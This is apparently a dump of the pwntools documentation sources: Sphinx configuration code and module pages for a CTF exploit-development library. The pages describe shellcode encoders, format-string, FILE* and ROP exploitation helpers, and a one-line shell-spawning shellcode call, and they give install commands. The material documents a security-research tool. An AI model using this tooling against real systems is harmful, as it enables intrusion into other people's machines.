['_templates']\n\ndoctest_test_doctest_blocks = 'true'\n\n# The suffix of source filenames.\nsource_suffix = '.rst'\n\n# The encoding of source files.\nsource_encoding = 'utf-8-sig'\n\n# The master toctree document.\nmaster_doc = 'index'\n\n# General information about the project.\nproject = u'pwntools'\ncopyright = u'2016-2026, Gallopsled et al.'\n\n# The version info for the project you're documenting, acts as replacement for\n# |version| and |release|, also used in various other places throughout the\n# built documents.\n#\n# The short X.Y version.\nrelease = pwnlib.__version__\nversion = release.rsplit('.', 1)[0]\n\n# The language for content autogenerated by Sphinx. Refer to documentation\n# for a list of supported languages.\n#language = None\n\n# There are two options for replacing |today|: either, you set today to some\n# non-false value, then it is used:\n#today = ''\n# Else, today_fmt is used as the format for a strftime call.\n#today_fmt = '%B %d, %Y'\n\n# List of patterns, relative to source directory, that match files and\n# directories to ignore when looking for source files.\nexclude_patterns = []\n\n# The reST default role (used for this markup: `text`) to use for all documents.\n#default_role = None\n\n# If true, '()' will be appended to :func: etc. cross-reference text.\n#add_function_parentheses = True\n\n# If true, the current module name will be prepended to all description\n# unit titles (such as .. function::).\n#add_module_names = True\n\n# If true, sectionauthor and moduleauthor directives will be shown in the\n# output. They are ignored by default.\n#show_authors = False\n\n# The name of the Pygments (syntax highlighting) style to use.\npygments_style = 'sphinx'\n\n# A list of ignored prefixes for module index sorting.\n#modindex_common_prefix = []\n\n\n# -- Options for HTML output ---------------------------------------------------\n\n# The theme to use for HTML and HTML Help pages.  See the documentation for\n# a list of builtin themes.\nhtml_theme = 'sphinx_rtd_theme'\n\n# Theme options are theme-specific and customize the look and feel of a theme\n# further.  For a list of options available for each theme, see the\n# documentation.\n#html_theme_options = {}\n\n# Add any paths that contain custom themes here, relative to this directory.\n#html_theme_path = []\n\n# The name for this set of Sphinx documents.  If None, it defaults to\n# \"<project> v<release> documentation\".\n#html_title = None\n\n# A shorter title for the navigation bar.  Default is the same as html_title.\n#html_short_title = None\n\n# The name of an image file (relative to this directory) to place at the top\n# of the sidebar.\n#html_logo = None\n\n# The name of an image file (within the static path) to use as favicon of the\n# docs.  This file should be a Windows icon file (.ico) being 16x16 or 32x32\n# pixels large.\n#html_favicon = None\n\n# Add any paths that contain custom static files (such as style sheets) here,\n# relative to this directory. They are copied after the builtin static files,\n# so a file named \"default.css\" will overwrite the builtin \"default.css\".\nhtml_static_path = []\n\n# If not '', a 'Last updated on:' timestamp is inserted at every page bottom,\n# using the given strftime format.\n#html_last_updated_fmt = '%b %d, %Y'\n\n# If true, SmartyPants will be used to convert quotes and dashes to\n# typographically correct entities.\n#html_use_smartypants = True\n\n# Custom sidebar templates, maps document names to template names.\n#html_sidebars = {}\n\n# Additional templates that should be rendered to pages, maps page names to\n# template names.\n#html_additional_pages = {}\n\n# If false, no module index is generated.\nhtml_domain_indices = not build_dash\n\n# If false, no index is generated.\nhtml_use_index = not build_dash\n\n# If true, the index is split into individual pages for each letter.\n#html_split_index = False\n\n# If true, links to the reST sources are added to the pages.\n#html_show_sourcelink = True\n\n# If true, \"Created using Sphinx\" is shown in the HTML footer. Default is True.\n#html_show_sphinx = True\n\n# If true, \"(C) Copyright ...\" is shown in the HTML footer. Default is True.\n#html_show_copyright = True\n\n# If true, an OpenSearch description file will be output, and all pages will\n# contain a <link> tag referring to it.  The value of this option must be the\n# base URL from which the finished HTML is served.\n#html_use_opensearch = ''\n\n# This is the file name suffix for HTML files (e.g. \".xhtml\").\n#html_file_suffix = None\n\n# Output file base name for HTML help builder.\nhtmlhelp_basename = 'pwntoolsdoc'\n\n\n# -- Options for LaTeX output --------------------------------------------------\n\nlatex_elements = {\n# The paper size ('letterpaper' or 'a4paper').\n#'papersize': 'letterpaper',\n\n# The font size ('10pt', '11pt' or '12pt').\n#'pointsize': '10pt',\n\n# Additional stuff for the LaTeX preamble.\n#'preamble': '',\n}\n\n# Grouping the document tree into LaTeX files. List of tuples\n# (source start file, target name, title, author, documentclass [howto/manual]).\nlatex_documents = [\n  ('index', 'pwntools.tex', u'pwntools Documentation',\n   u'2016-2026, Gallopsled et al.', 'manual'),\n]\n\nintersphinx_mapping = {'python': ('https://docs.python.org/3/', None),\n                       'paramiko': ('https://docs.paramiko.org/en/stable/', None)}\n\n# The name of an image file (relative to this directory) to place at the top of\n# the title page.\n#latex_logo = None\n\n# For \"manual\" documents, if this is true, then toplevel headings are parts,\n# not chapters.\n#latex_use_parts = False\n\n# If true, show page references after internal links.\n#latex_show_pagerefs = False\n\n# If true, show URL addresses after external links.\n#latex_show_urls = False\n\n# Documents to append as an appendix to all manuals.\n#latex_appendices = []\n\n# If false, no module index is generated.\n#latex_domain_indices = True\n\n\n# -- Options for manual page output --------------------------------------------\n\n# One entry per manual page. List of tuples\n# (source start file, name, description, authors, manual section).\nman_pages = [\n    ('index', 'pwntools', u'pwntools Documentation',\n     [u'2016-2026, Gallopsled et al.'], 1)\n]\n\n# If true, show URL addresses after external links.\n#man_show_urls = False\n\n\n# -- Options for Texinfo output ------------------------------------------------\n\n# Grouping the document tree into Texinfo files. List of tuples\n# (source start file, target name, title, author,\n#  dir menu entry, description, category)\ntexinfo_documents = [\n  ('index', 'pwntools', u'pwntools Documentation',\n   u'', 'pwntools', 'CTF exploit writing toolkit.',\n   'Miscellaneous'),\n]\n\n# Documents to append as an appendix to all manuals.\n#texinfo_appendices = []\n\n# If false, no module index is generated.\n#texinfo_domain_indices = True\n\n# How to display URL addresses: 'footnote', 'no', or 'inline'.\n#texinfo_show_urls = 'footnote'\n\nbranch = release\n\ntry:\n    git_branch = subprocess.check_output('git describe --tags', shell = True, universal_newlines = True)\nexcept subprocess.CalledProcessError:\n    git_branch = '-'\n\ntry:\n    if '-' in git_branch:\n        branch = subprocess.check_output('git rev-parse HEAD', shell = True, universal_newlines = True).strip()[:10]\nexcept subprocess.CalledProcessError:\n    pass\n\ndef linkcode_resolve(domain, info):\n    if domain != 'py':\n        return None\n    if not info['module']:\n        return None\n\n    import importlib, inspect, types\n    mod = importlib.import_module(info['module'])\n\n    # Try to find the value\n    val = mod\n    for k in info['fullname'].split('.'):\n        val = getattr(val, k, None)\n        if val is None:\n            break\n\n    # Special case for shellcraft\n    if info['module'].startswith('pwnlib.shellcraft.'):\n        filename = 'pwnlib/shellcraft/templates/%s' % val._relpath\n\n    # Case for everything else\n    else:\n        filename = info['module'].replace('.', '/') + '.py'\n\n        if isinstance(val, property):\n            val = val.fget\n\n        if isinstance(val, (types.ModuleType, types.MethodType, types.FunctionType, types.TracebackType, types.FrameType, types.CodeType, type)):\n            try:\n                lines, first = inspect.getsourcelines(val)\n                filename += '#L%d-L%d' % (first, first + len(lines) - 1)\n            except (IOError, TypeError):\n                pass\n\n    return \"https://github.com/Gallopsled/pwntools/blob/%s/%s\" % (branch, filename)\n\n\n# The readthedocs theme is used by the Dash generator. (Can be used for HTML too.)\n\nif build_dash:\n\n    # on_rtd is whether we are on readthedocs.org\n    on_rtd = os.environ.get('READTHEDOCS', None) == 'True'\n\n    if not on_rtd:  # only import and set the theme if we're building docs locally\n        import alabaster\n        html_theme = 'alabaster'\n        html_theme_path = [alabaster.get_path()]\n        html_theme_options = { 'nosidebar' : True }\n\n\n# -- Customization to Sphinx autodoc generation --------------------------------------------\n\n# Test hidden members (e.g. def _foo(...))\ndef dont_skip_any_doctests(app, what, name, obj, skip, options):\n    return None\n\nautodoc_default_options = {'special-members': None, 'private-members': None}\n\n# doctest optionflags for platform-specific tests\n# they are skipped on other platforms\nWINDOWS = doctest.register_optionflag('WINDOWS')\nLINUX = doctest.register_optionflag('LINUX')\nPOSIX = doctest.register_optionflag('POSIX')\n\n# doctest optionflag for tests that haven't been looked at yet\nTODO = doctest.register_optionflag('TODO')\n\nimport sphinx.ext.doctest\n\nclass PlatformDocTestRunner(sphinx.ext.doctest.SphinxDocTestRunner):\n    def run(self, test, compileflags=None, out=None, clear_globs=True):\n        original_optionflags = self.optionflags | test.globs.get('doctest_additional_flags', 0)\n        def filter_platform(example):\n            optionflags = original_optionflags\n            if example.options:\n                for (optionflag, val) in example.options.items():\n                    if val:\n                        optionflags |= optionflag\n                    else:\n                        optionflags &= ~optionflag\n\n            if (optionflags & WINDOWS) == WINDOWS and sys.platform != 'win32':\n                return False\n            if (optionflags & LINUX) == LINUX and sys.platform != 'linux':\n                return False\n            if (optionflags & POSIX) == POSIX and os.name != 'posix':\n                return False\n            return True\n                \n        test.examples[:] = [example for example in test.examples if filter_platform(example)]\n            \n        return super(PlatformDocTestRunner, self).run(test, compileflags, out, clear_globs)\n\nclass PlatformDocTestBuilder(sphinx.ext.doctest.DocTestBuilder):\n\n    def __init__(self, *args, **kwargs):\n        super(PlatformDocTestBuilder, self).__init__(*args, **kwargs)\n        self._test_runner = None\n        self._doctree_had_tests = False\n\n    @property\n    def test_runner(self):\n        return self._test_runner\n\n    @test_runner.setter\n    def test_runner(self, value):\n        self._test_runner = PlatformDocTestRunner(value._checker, value._verbose, value.optionflags)\n\n    def test_doc(self, docname, doctree):\n        start = datetime.now(timezone.utc).astimezone()\n        # self._out(f\"[{start.isoformat(timespec='milliseconds')}] doctest start: {docname}\\n\")\n        self._doctree_had_tests = False\n        try:\n            return super(PlatformDocTestBuilder, self).test_doc(docname, doctree)\n        finally:\n            # Only print the timestamp if there were actually tests run.\n            if self._doctree_had_tests:\n                end = datetime.now(timezone.utc).astimezone()\n                duration = (end - start).total_seconds()\n                self._out(f\"[{end.isoformat(timespec='milliseconds')} - {duration:.2f}s]\\n\")\n            self._doctree_had_tests = False\n\n    def test_group(self, group):\n        # Only called when there are tests to run in the current document.\n        self._doctree_had_tests = True\n        return super(PlatformDocTestBuilder, self).test_group(group)\n\nif 'doctest' in sys.argv:\n    def setup(app):\n        app.add_builder(PlatformDocTestBuilder, override=True)\n        # app.connect('autodoc-skip-member', dont_skip_any_doctests)\n    # monkey patching paramiko due to https://github.com/paramiko/paramiko/pull/1661\n    import paramiko.client\n    import binascii\n    paramiko.client.hexlify = lambda x: binascii.hexlify(x).decode()\n    paramiko.util.safe_string = lambda x: '' # function result never *actually used*\n\n    class EndlessLoop(Exception): pass\n    if hasattr(signal, 'alarm'):\n        def alrm_handler(sig, frame):\n            signal.alarm(180) # three minutes\n            raise EndlessLoop()\n        signal.signal(signal.SIGALRM, alrm_handler)\n        signal.alarm(600) # ten minutes\n    else:\n        def sigabrt_handler(signum, frame):\n            raise EndlessLoop()\n        # thread.interrupt_main received the signum parameter in Python 3.10\n        if sys.version_info >= (3, 10):\n            signal.signal(signal.SIGABRT, sigabrt_handler)\n        def alrm_handler():\n            try:\n                import thread\n            except ImportError:\n                import _thread as thread\n            # pre Python 3.10 this raises a KeyboardInterrupt in the main thread.\n            # it might not show a traceback in that case, but it will stop the endless loop.\n            thread.interrupt_main(signal.SIGABRT)\n            timer = threading.Timer(interval=180, function=alrm_handler) # three minutes\n            timer.daemon = True\n            timer.start()\n        import threading\n        timer = threading.Timer(interval=600, function=alrm_handler) # ten minutes\n        timer.daemon = True\n        timer.start()\n"
  },
  {
    "path": "docs/source/config.rst",
    "content": ":mod:`pwnlib.config` --- Pwntools Configuration File\n====================================================\n\n.. automodule:: pwnlib.config\n"
  },
  {
    "path": "docs/source/constants.rst",
    "content": ".. testsetup:: *\n\n   from pwnlib import constants\n   from pwnlib.context import context\n\n:mod:`pwnlib.constants` --- Easy access to header file constants\n================================================================\n\n.. automodule:: pwnlib.constants\n"
  },
  {
    "path": "docs/source/context.rst",
    "content": ".. testsetup:: *\n\n   from pwn import *\n   import logging\n   log = pwnlib.log.getLogger('pwnlib.context')\n   context.clear()\n\n:mod:`pwnlib.context` --- Setting runtime variables\n=====================================================\n\nMany settings in ``pwntools`` are controlled via the global variable :data:`.context`, such as the selected target operating system, architecture, and bit-width.\n\nIn general, exploits will start with something like:\n\n.. code-block:: python\n\n    from pwn import *\n    context.arch = 'amd64'\n\nWhich sets up everything in the exploit for exploiting a 64-bit Intel binary.\n\nThe recommended method is to use ``context.binary``  to automagically set all of the appropriate values.\n\n.. code-block:: python\n\n    from pwn import *\n    context.binary = './challenge-binary'\n\nModule Members\n----------------------------------------------------\n\n.. automodule:: pwnlib.context\n   :members:\n"
  },
  {
    "path": "docs/source/dynelf.rst",
    "content": ":mod:`pwnlib.dynelf` --- Resolving remote functions using leaks\n===============================================================\n\n.. automodule:: pwnlib.dynelf\n   :members:\n"
  },
  {
    "path": "docs/source/elf/config.rst",
    "content": ".. testsetup:: *\n\n   from pwn import *\n   from pwnlib.elf.config import parse_kconfig\n\n:mod:`pwnlib.elf.config` --- Kernel Config Parsing\n===========================================================\n\n.. automodule:: pwnlib.elf.config\n  :members:\n"
  },
  {
    "path": "docs/source/elf/corefile.rst",
    "content": ".. testsetup:: *\n\n   from glob import glob\n   from pwn import *\n\n   # The Linux kernel won't overwrite an existing corefile, so in case \n   # some other part of the doctests caused a segfault and core dump,\n   # we need to get rid of it before our tests run.\n   #\n   # We DONT need to worry about e.g. ./core existing when using Corefile()\n   # because we always move and rename the corefile to prevent this situation.\n   if os.path.exists('core'): \n      os.unlink('core')\n\n   # bash-static is a statically linked version of bash, but if $SHELL is not\n   # set to anything, it decides to up and load ld.so and libc.so which breaks\n   # our example of showing `corefile.libc == None` for a statically linked bin.\n   # Set the environment here so it's not in the middle of our tests.\n   os.environ.setdefault('SHELL', '/bin/sh')\n\n   import doctest\n   doctest_additional_flags = doctest.OPTIONFLAGS_BY_NAME['POSIX']\n\n\n:mod:`pwnlib.elf.corefile` --- Core Files\n===========================================================\n\n.. automodule:: pwnlib.elf.corefile\n\n  .. autoclass:: pwnlib.elf.corefile.Corefile\n     :members:\n     :show-inheritance:\n\n  .. autoclass:: pwnlib.elf.corefile.Mapping\n     :members:\n"
  },
  {
    "path": "docs/source/elf/elf.rst",
    "content": ".. testsetup:: *\n\n   from pwn import *\n   from glob import glob\n   from pwnlib.elf.maps import CAT_PROC_MAPS_EXIT\n   import shutil\n\n   # TODO: Remove global POSIX flag\n   import doctest\n   doctest_additional_flags = doctest.OPTIONFLAGS_BY_NAME['POSIX']\n\n:mod:`pwnlib.elf.elf` --- ELF Files\n===========================================================\n\n.. automodule:: pwnlib.elf.elf\n\n  .. autoclass:: pwnlib.elf.elf.ELF\n     :members:\n     :show-inheritance:\n     :inherited-members:\n     :exclude-members: address_offsets,\n                       get_data,\n                       get_dwarf_info,\n                       get_section,\n                       get_segment,\n                       has_dwarf_info,\n                       iter_sections,\n                       iter_segments\n\n  .. autoclass:: pwnlib.elf.elf.Function\n     :members:\n\n  .. autoclass:: pwnlib.elf.elf.dotdict\n     :members:\n"
  },
  {
    "path": "docs/source/elf.rst",
    "content": ".. testsetup:: *\n\n   from pwnlib.elf import *\n   from pwnlib.util.misc import which\n\n:mod:`pwnlib.elf` --- ELF Executables and Libraries\n===================================================\n\n.. automodule:: pwnlib.elf\n\n\nELF Modules\n-------------------\n\n.. toctree::\n    elf/elf\n    elf/config\n    elf/corefile\n"
  },
  {
    "path": "docs/source/encoders.rst",
    "content": ".. testsetup:: *\n\n   from pwn import *\n\n   # TODO: Remove global POSIX flag\n   import doctest\n   doctest_additional_flags = doctest.OPTIONFLAGS_BY_NAME['POSIX']\n   \n:mod:`pwnlib.encoders` --- Encoding Shellcode\n===============================================\n\n.. automodule:: pwnlib.encoders.encoder\n   :members:\n\n.. automodule:: pwnlib.encoders.i386.ascii_shellcode\n   :members:\n   :special-members:\n   :exclude-members: __init__\n\n.. automodule:: pwnlib.encoders.i386.xor\n   :members:\n\n.. automodule:: pwnlib.encoders.i386.delta\n   :members:\n\n.. automodule:: pwnlib.encoders.amd64.delta\n   :members:\n\n.. automodule:: pwnlib.encoders.arm.xor\n   :members:\n\n.. automodule:: pwnlib.encoders.mips.xor\n   :members:\n"
  },
  {
    "path": "docs/source/exception.rst",
    "content": ":mod:`pwnlib.exception` --- Pwnlib exceptions\n====================================================\n\n.. automodule:: pwnlib.exception\n   :members:\n"
  },
  {
    "path": "docs/source/filepointer.rst",
    "content": ".. testsetup:: *\n\n   from pwnlib.filepointer import *\n   from pwnlib.filepointer import _update_var\n\n:mod:`pwnlib.filepointer` --- `FILE*` structure exploitation\n============================================================\n\n.. automodule:: pwnlib.filepointer\n   :members:\n"
  },
  {
    "path": "docs/source/filesystem.rst",
    "content": ".. testsetup:: *\n\n    import time\n    from pwnlib.context import context\n    from pwnlib.tubes.ssh import ssh\n    from pwnlib.filesystem import *\n\n    # TODO: Remove global POSIX flag\n    import doctest\n    doctest_additional_flags = doctest.OPTIONFLAGS_BY_NAME['POSIX']\n\n:mod:`pwnlib.filesystem` --- Manipulating Files Locally and Over SSH\n====================================================================\n\nProvides a Python2-compatible :py:mod:`pathlib` interface for paths\non the local filesystem (`.Path`) as well as on remote filesystems,\nvia SSH (`.SSHPath`).\n\n.. automodule:: pwnlib.filesystem\n   :members:"
  },
  {
    "path": "docs/source/flag.rst",
    "content": ".. testsetup:: *\n\n   from pwn import *\n\n\n:mod:`pwnlib.flag` --- CTF Flag Management\n==========================================\n\n.. automodule:: pwnlib.flag\n   :members:\n"
  },
  {
    "path": "docs/source/fmtstr.rst",
    "content": ".. testsetup:: *\n\n\tfrom pwn import *\n\timport tempfile\n\n:mod:`pwnlib.fmtstr` --- Format string bug exploitation tools\n=============================================================\n\n.. automodule:: pwnlib.fmtstr\n   :members:\n"
  },
  {
    "path": "docs/source/gdb.rst",
    "content": ".. testsetup:: *\n\n    from pwn import *\n    context.arch = 'amd64'\n    context.terminal = [os.path.join(os.path.dirname(pwnlib.__file__), 'gdb_faketerminal.py')]\n\n    # TODO: Test on cygwin too\n    import doctest\n    doctest_additional_flags = doctest.OPTIONFLAGS_BY_NAME['POSIX']\n\n:mod:`pwnlib.gdb` --- Working with GDB\n======================================\n\n.. automodule:: pwnlib.gdb\n   :members:\n"
  },
  {
    "path": "docs/source/globals.rst",
    "content": ".. testsetup:: *\n\n   from pwn import *\n\n``from pwn import *``\n========================\n\nThe most common way that you'll see pwntools used is\n\n    >>> from pwn import *\n\nWhich imports a bazillion things into the global namespace to make your life easier.\n\nThis is a quick list of most of the objects and routines imported, in rough order of importance and frequency of use.\n\n- :mod:`pwnlib.context`\n    - :data:`pwnlib.context.context`\n    - Responsible for most of the pwntools convenience settings\n    - Set `context.log_level = 'debug'` when troubleshooting your exploit\n    - Scope-aware, so you can disable logging for a subsection of code via :meth:`.ContextType.local`\n- ``remote``, ``listen``, ``ssh``, ``process``\n    - :mod:`pwnlib.tubes`\n    - Super convenient wrappers around all of the common functionality for CTF challenges\n    - Connect to anything, anywhere, and it works the way you want it to\n    - Helpers for common tasks like ``recvline``, ``recvuntil``, ``clean``, etc.\n    - Interact directly with the application via ``.interactive()``\n- ``p32`` and ``u32``\n    - :mod:`pwnlib.util.packing`\n    - Useful functions to make sure you never have to remember if ``'>'`` means signed or unsigned for ``struct.pack``, and no more ugly ``[0]`` index at the end.\n    - Set ``signed`` and ``endian`` in sane manners (also these can be set once on ``context`` and not bothered with again)\n    - Most common sizes are pre-defined (``u8``, ``u64``, etc), and :func:`pwnlib.util.packing.pack` lets you define your own.\n- ``log``\n    - :mod:`pwnlib.log`\n    - Make your output pretty!\n- ``cyclic`` and ``cyclic_func``\n    - :mod:`pwnlib.util.cyclic`\n    - Utilities for generating strings such that you can find the offset of any given substring given only N (usually 4) bytes.  This is super useful for straight buffer overflows.  Instead of looking at 0x41414141, you could know that 0x61616171 means you control EIP at offset 64 in your buffer.\n- ``asm`` and ``disasm``\n    - :mod:`pwnlib.asm`\n    - Quickly turn assembly into some bytes, or vice-versa, without mucking about\n    - Supports any architecture for which you have a binutils installed\n    - Over 20 different architectures have pre-built binaries at `ppa:pwntools/binutils <https://launchpad.net/~pwntools/+archive/ubuntu/binutils>`_.\n- ``shellcraft``\n    - :mod:`pwnlib.shellcraft`\n    - Library of shellcode ready to go\n    - ``asm(shellcraft.sh())`` gives you a shell\n    - Templating library for reusability of shellcode fragments\n- ``ELF``\n    - :mod:`pwnlib.elf`\n    - ELF binary manipulation tools, including symbol lookup, virtual memory to file offset helpers, and the ability to modify and save binaries back to disk\n- ``DynELF``\n    - :mod:`pwnlib.dynelf`\n    - Dynamically resolve functions given only a pointer to any loaded module, and a function which can leak data at any address\n- ``ROP``\n    - :mod:`pwnlib.rop`\n    - Automatically generate ROP chains using a DSL to describe what you want to do, rather than raw addresses\n- ``gdb.debug`` and ``gdb.attach``\n    - :mod:`pwnlib.gdb`\n    - Launch a binary under GDB and pop up a new terminal to interact with it.  Automates setting breakpoints and makes iteration on exploits MUCH faster.\n    - Alternately, attach to a running process given a PID, :mod:`pwnlib.tubes` object, or even just a socket that's connected to it\n- ``args``\n    - Dictionary containing all-caps command-line arguments for quick access\n    - Run via ``python foo.py REMOTE=1`` and ``args['REMOTE'] == '1'``.\n    - Can also control logging verbosity and terminal fanciness\n        - `NOTERM`\n        - `SILENT`\n        - `DEBUG`\n- ``randoms``, ``rol``, ``ror``, ``xor``, ``bits``\n    - :mod:`pwnlib.util.fiddling`\n    - Useful utilities for generating random data from a given alphabet, or simplifying math operations that usually require masking off with `0xffffffff` or calling `ord` and `chr` an ugly number of times\n- ``net``\n    - :mod:`pwnlib.util.net`\n    - Routines for querying about network interfaces\n- ``proc``\n    - :mod:`pwnlib.util.proc`\n    - Routines for querying about processes\n- ``pause``\n    - It's the new ``getch``\n- ``safeeval``\n    - :mod:`pwnlib.util.safeeval`\n    - Functions for safely evaluating python code without nasty side-effects.\n\nThese are all pretty self explanatory, but are useful to have in the global namespace.\n\n- ``hexdump``\n- ``read`` and ``write``\n- ``enhex`` and ``unhex``\n- ``more``\n- ``group``\n- ``align`` and ``align_down``\n- ``urlencode`` and ``urldecode``\n- ``which``\n- ``wget``\n\nAdditionally, all of the following modules are auto-imported for you.  You were going to do it anyway.\n\n- ``os``\n- ``sys``\n- ``time``\n- ``requests``\n- ``re``\n- ``random``\n"
  },
  {
    "path": "docs/source/index.rst",
    "content": "pwntools\n====================================\n\n``pwntools`` is a CTF framework and exploit development library.\nWritten in Python, it is designed for rapid prototyping and development,\nand intended to make exploit writing as simple as possible.\n\nThe primary location for this documentation is at docs.pwntools.com_, which uses\nreadthedocs_. It comes in three primary flavors:\n\n- Stable_\n- Beta_\n- Dev_\n\n.. _readthedocs: https://readthedocs.org\n.. _docs.pwntools.com: https://docs.pwntools.com/en/latest\n.. _Stable: https://docs.pwntools.com/en/stable\n.. _Beta: https://docs.pwntools.com/en/beta\n.. _Dev: https://docs.pwntools.com/en/dev\n\n\nGetting Started\n---------------\n\n.. toctree::\n   :maxdepth: 3\n   :glob:\n\n   about\n   install\n   intro\n   globals\n   commandline\n\n\nModule Index\n------------\n\nEach of the ``pwntools`` modules is documented here.\n\n.. toctree::\n   :maxdepth: 1\n   :glob:\n\n   adb\n   args\n   asm\n   atexception\n   atexit\n   constants\n   config\n   context\n   dynelf\n   encoders\n   elf\n   exception\n   filepointer\n   filesystem\n   flag\n   fmtstr\n   gdb\n   libc\n   libcdb\n   log\n   memleak\n   protocols\n   qemu\n   regsort\n   replacements\n   rop\n   runner\n   shellcraft\n   term\n   timeout\n   tubes\n   ui\n   update\n   useragents\n   util/*\n   windbg\n\n.. toctree::\n   :hidden:\n\n   testexample\n\n.. only:: not dash\n\n   Indices and tables\n   ==================\n\n   * :ref:`genindex`\n   * :ref:`modindex`\n   * :ref:`search`\n\nBytes\n-----\n\nThe bytes vs text distinction is so important that it even made it to this main page.\nSee the pwntools-tutorial_ repo for the latest tutorial finally\nexplaining the difference once and for all (hopefully).\n\n.. _pwntools-tutorial: https://github.com/Gallopsled/pwntools-tutorial/blob/master/bytes.md\n"
  },
  {
    "path": "docs/source/install/binutils.rst",
    "content": "Binutils\n-------------\n\nAssembly of foreign architectures (e.g. assembling Sparc shellcode on\nMac OS X) requires cross-compiled versions of ``binutils`` to be\ninstalled. We've made this process as smooth as we can.\n\nIn these examples, replace ``$ARCH`` with your target architecture (e.g., arm, aarch64, mips64, vax, etc.).\n\nBuilding `binutils` from source takes about 60 seconds on a modern 8-core machine.\n\nUbuntu\n^^^^^^^^^^^^^^^^\n\nFor Ubuntu 12.04 through 15.10, you must first add the pwntools `Personal Package Archive repository <https://launchpad.net/~pwntools/+archive/ubuntu/binutils>`__.\n\nUbuntu Xenial (16.04) has official packages for most architectures, and does not require this step.\n\n.. code-block:: bash\n\n    $ sudo apt-get install software-properties-common\n    $ sudo apt-add-repository ppa:pwntools/binutils\n    $ sudo apt-get update\n\nThen, install the binutils for your architecture.\n\n.. code-block:: bash\n\n    $ sudo apt-get install binutils-$ARCH-linux-gnu\n\nMac OS X\n^^^^^^^^^^^^^^^^\n\nMac OS X is just as easy, but requires building binutils from source.\nHowever, we've made ``homebrew`` recipes to make this just two commands.\nAfter installing `brew <https://brew.sh>`__, grab the appropriate\nrecipe from our `binutils\nrepo <https://github.com/Gallopsled/pwntools-binutils/>`__.\n\n.. code-block:: bash\n\n    $ wget https://raw.githubusercontent.com/Gallopsled/pwntools-binutils/master/macos/binutils-$ARCH.rb\n    $ brew install ./binutils-$ARCH.rb\n\nWindows\n^^^^^^^^^^^^^^^^\n\nWindows support is experimental. You can try installing a prebuilt version of binutils\nfor your desired architecture from the `GNU Toolchains <https://gnutoolchains.com/>`__ project.\n\nNote: For x86 and x86_64, you should use the `ubuntu toolchain <https://gnutoolchains.com/ubuntu/>`__\ninstead of the MinGW toolchains due to differences in the commandline handling.\n\nAlternate OSes\n^^^^^^^^^^^^^^^^\n\nIf you want to build everything by hand, or don't use any of the above\nOSes, ``binutils`` is simple to build by hand.\n\n.. code-block:: bash\n\n    #!/usr/bin/env bash\n\n    V=2.38   # Binutils Version\n    ARCH=arm # Target architecture\n\n    cd ${TMPDIR:-/tmp}\n    wget -nc https://ftp.gnu.org/gnu/binutils/binutils-$V.tar.gz\n    wget -nc https://ftp.gnu.org/gnu/binutils/binutils-$V.tar.gz.sig\n\n    gpg --keyserver keys.gnupg.net --recv-keys 4AE55E93\n    gpg --verify binutils-$V.tar.gz.sig\n\n    tar xf binutils-$V.tar.gz\n\n    mkdir binutils-build\n    cd binutils-build\n\n    export AR=ar\n    export AS=as\n\n    ../binutils-$V/configure \\\n        --prefix=${PREFIX:-/usr/local} \\\n        --target=$ARCH-unknown-linux-gnu \\\n        --disable-static \\\n        --disable-multilib \\\n        --disable-werror \\\n        --disable-nls\n\n    MAKE=gmake\n    hash gmake || MAKE=make\n\n    $MAKE -j clean all\n    sudo $MAKE install\n\n"
  },
  {
    "path": "docs/source/install/headers.rst",
    "content": "Python Development Headers\n-----------------------------\n\nSome of pwntools' Python dependencies require native extensions (for example, Paramiko requires PyCrypto).\n\nIn order to build these native extensions, the development headers for Python must be installed.\n\nUbuntu\n^^^^^^^^^^^^^^^^\n\n.. code-block:: bash\n\n    $ sudo apt-get install python-dev\n\nMac OS X\n^^^^^^^^^^^^^^^^\n\nNo action needed."
  },
  {
    "path": "docs/source/install.rst",
    "content": "Installation\n============\n\nPwntools is best supported on 64-bit Ubuntu LTS releases (22.04 and 24.04).  Most functionality should work on any Posix-like distribution (Debian, Arch, FreeBSD, OSX, etc.).\n\nPrerequisites\n-------------\n\nIn order to get the most out of ``pwntools``, you should have the\nfollowing system libraries installed.\n\n.. toctree::\n   :maxdepth: 3\n   :glob:\n\n   install/*\n\n\nNote: For Mac OS X you will need to have cmake ``brew install cmake`` and pkg-config ``brew install pkg-config`` installed.\n\nReleased Version\n-----------------\n\npwntools is available as a ``pip`` package for Python3. Version v5.0.0 supports Python3.10 or later. Use v4 if you use earlier versions of Python.\n\nPython3\n^^^^^^^\n\nThe Python version required for installing Pwntools is kept as low as possible on a best-effort basis.  However, new features target Python3.10 and later.\n\n.. code-block:: bash\n\n    $ sudo apt-get update\n    $ sudo apt-get install python3 python3-pip python3-dev git libssl-dev libffi-dev build-essential\n    $ python3 -m pip install --upgrade pip\n    $ python3 -m pip install --upgrade pwntools\n\n\nPython2 (Deprecated)\n^^^^^^^^^^^^^^^^^^^^\n\nPython2 support has been removed in Pwntools v5.0.0.  The last version to support Python2 was v4.15.0.\n\nNOTE: Pwntools maintainers STRONGLY recommend using Python3 for all future Pwntools-based scripts and projects.\n\nAdditionally, due to `pip` dropping support for Python2, a specfic version of `pip` must be installed.\n\n.. code-block:: bash\n\n    $ sudo apt-get update\n    $ sudo apt-get install python python-pip python-dev git libssl-dev libffi-dev build-essential\n    $ python2 -m pip install --upgrade pip==20.3.4\n    $ python2 -m pip install --upgrade pwntools\n\n\nCommand-Line Tools\n------------------\n\nWhen installed with ``sudo`` the above commands will install Pwntools' command-line tools to somewhere like ``/usr/bin``.\n\nHowever, if you run as an unprivileged user, you may see a warning message that looks like this::\n\n    WARNING: The scripts asm, checksec, common, constgrep, cyclic, debug, disablenx, disasm, \n    elfdiff, elfpatch, errno, hex, main, phd, pwn, pwnstrip, scramble, shellcraft, template, \n    unhex, update and version are installed in '/home/user/.local/bin' which is not on PATH.\n\nFollow the instructions listed and add ``~/.local/bin`` to your ``$PATH`` environment variable.\n\nDevelopment\n--------------\n\nIf you are hacking on Pwntools locally, you'll want to do something like this:\n\n.. code-block:: bash\n\n    $ git clone https://github.com/Gallopsled/pwntools\n    $ pip install --upgrade --editable ./pwntools\n\n.. _Ubuntu: https://launchpad.net/~pwntools/+archive/ubuntu/binutils\n"
  },
  {
    "path": "docs/source/intro.rst",
